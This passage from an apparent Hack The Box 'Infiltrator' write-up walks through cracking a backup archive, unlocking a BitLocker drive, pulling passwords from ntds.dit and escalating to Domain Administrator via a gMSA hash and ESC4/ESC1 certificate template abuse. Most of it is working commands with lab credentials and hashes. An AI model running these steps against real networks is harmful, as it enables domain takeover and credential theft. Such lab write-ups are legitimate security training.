Extracting archive: Bitlocker-backup.7z
--
Path = Bitlocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Someone else already wrote a 7z bruteforce script and published it here as Gist in Github. I use this script and the rockyou.txt
wordlist to gain access to its contents.
$ python3 ../exploits/7z-brute.py Bitlocker-backup.7z /usr/share/wordlists/rockyou.txt
Password found: zipper
And as advertised the file contained a french BitLocker recovery key.
CanRDP
With a possible domain password and a BitLocker recovery key in hand I decide to finally act on the CanRDP edge that o.martinez
has.
Trying to RDP into the machine with only username and password fails so I first have to get a TGT for o.martinez
. Afterwards I can successfully connect to the machine with rdesktop
.
$ getTGT.py 'infiltrator.htb/o.martinez:M@rtinez_P@ssw0rd!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in o.martinez.ccache
$ KRB5CCNAME=o.martinez.ccache rdesktop -u 'o.martinez' -p 'M@rtinez_P@ssw0rd!' -d 'dc01.infiltrator.htb' -5 -K -r clipboard:CLIPBOARD 10.129.231.134
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using CredSSP.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request
I am almost instantly greeted with a message about logon timer expiration, meaning I only have a few minutes, before I will be forcefully logged out.
After opening the Explorer I find an encrypted second drive, which I should be able to access with the recovery key. In the screenshot below I prematurely entered the key into the password field (which obviously does not work).
Under the More Options button I find the opportunity to enter my recovery key and gain access to yet another backup.
Since I am strapped for time I just copy the folder within into C:\ProgramData
since I can still access this one from one of my Sliver sessions.
Windows Server Backup
Looking through the folder with something like tree
or a ls -laR
lead me to the Documents directory of the Administrator user within. There I find yet another backup called Backup_Credentials.7z
. This time the file is not password protected and I can decompress it without any issues right away. Separated into two sub-directories I find a backup of the ntds.dit
and the SYSTEM
, SECURITY
registry hives.
From there my first instinct was to use secretsdump.py
to extract the NTLM hashes and Kerberos key for the domain users. However none of the hashes or keys allowed me access to the lan_managment
user (beware the typo in the account name). I chose this user specifically since they are the key to becoming Domain Administrator, as you will see shortly.
Besides NTLM hashes the ntds.dit
also stores information about the Active Directory and it object itself. Given that at least one user in this company like to stores password in the description of their accounts getting this information was me next goal-
I can do this by using a tool called ntdsdtosqlite, which can be comfortably installed through uv
.
$ uv tool install ntdsdotsqlite
$ ntdsdotsqlite 'Active Directory/ntds.dit' --system 'registry/SYSTEM' -o 'ntds.sqlite'
Looking around the SQLite database I find yet another password stored in the description field this time for the lan_managment
user. To be sure I confirm the password using with netexec
.
sqlite> SELECT login, description from user_accounts WHERE description IS NOT NULL;
Administrator|Built-in account for administering the computer/domain
Guest|Built-in account for guest access to the computer/domain
krbtgt|Key Distribution Center Service Account
winrm_svc|User Security and Management Specialist
lan_managment|l@n_M@an!1331
harris|Head of Development Department
Shell as Administrator
ReadGMSA - infiltrator_svc$
With access as lan_managment
to the Active Directory secured I can now read the password the GMSA infiltrator_svc$
. This really straightforward and I did this using bloodyAD
again.
$ bloodyAD -u 'lan_managment' -d 'infiltrator.htb' -p 'l@n_M@an!1331' --host 'dc01.infiltrator.htb' get object 'infiltrator_svc$' --attr 'msDS-ManagedPassword'
distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd
msDS-ManagedPassword.B64ENCODED: +k2bp0FbWDrEClPpBHeRcO58aO4E6iAgx72SXelfOvi8alaMygGMB5cHhBbpZ/QU/tC+paGyUmkQ06gF4+1AqQ9zr47piZESLEWu+3CmvGOSj5LRvgpT2zwlqbv4gej1xc6CptCQABZVqFmoJPyWdFlB3GLejHGfgyfG3LvAoctd/MrdpiBALIWbYFzvw93uk79XIlkrWWirG3pV560dpoXkhQL9EYh2OtJyseJeh5LhkBqnTTDbFbiczadz6DFt9e1d5pgT0seoG8xWaPfvai19lVdocq+YoL1/lxQvi+pVoI1oUc66FIw1hO51BPJpun+Hi62eOVelTyZDEwa+uQ==
ESC4
PKI Hierarchy
I already know that AD CS is running on this machine, since I used it to get the NTLM hash of e.rodriguez
all the way at the beginning. I mainly took a look at the PKINT hierarchy to get the name of the CA and also who doesn’t enjoy looking at Bloodhound graphs.
Exploitation
As the chapter already told you the path towards Domain Administrator is through the ESC4 escalation technique. This one is basically ESC1 but with some extra steps. Since I have an account that has broad access to a certificate template I can abuse these ACLs to make the template vulnerable to ESC1.
The exploitation of this flaw is very easy thanks to the amazing certipy-ad
tool. If you want to read a bit more in depth about ESC4 either take a look at TheHackerRecipes or the original paper by SpectreOps.
But basically I just have to run two commands, three if I want to undo the damage I have done. The first command makes the specified template vulnerable to ESC1 and with the -save-old
flag creates a local backup of the original template configuration.
The second command than exploits ESC1 by requesting a certificate with a different UPN, in this case Administrator (the user I want to compromise).
$ certipy-ad template -username 'infiltrator_svc$'@'infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -template 'Infiltrator_Template' -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'
$ certipy-ad req -username 'infiltrator_svc$@infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'administrator@infiltrator.htb' -dc-ip '10.129.231.134'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with UPN 'administrator@infiltrator.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Once this done the original template configuration can be restored as follows, since you will not always have a clean-up script does this for you in the real world.
$ certipy-ad template -username 'infiltrator_svc$'@'infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -template 'Infiltrator_Template' -configuration 'Infiltrator_Template.json'
With the saved certificate and private key I now use certipy-ad
again to get a TGT and the NTLM hash of the Administrator user. These than allow me to login to machine, read the root flag and optionally dump the entire domain.
$ certipy-ad auth -domain 'infiltrator.htb' -pfx 'administrator.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1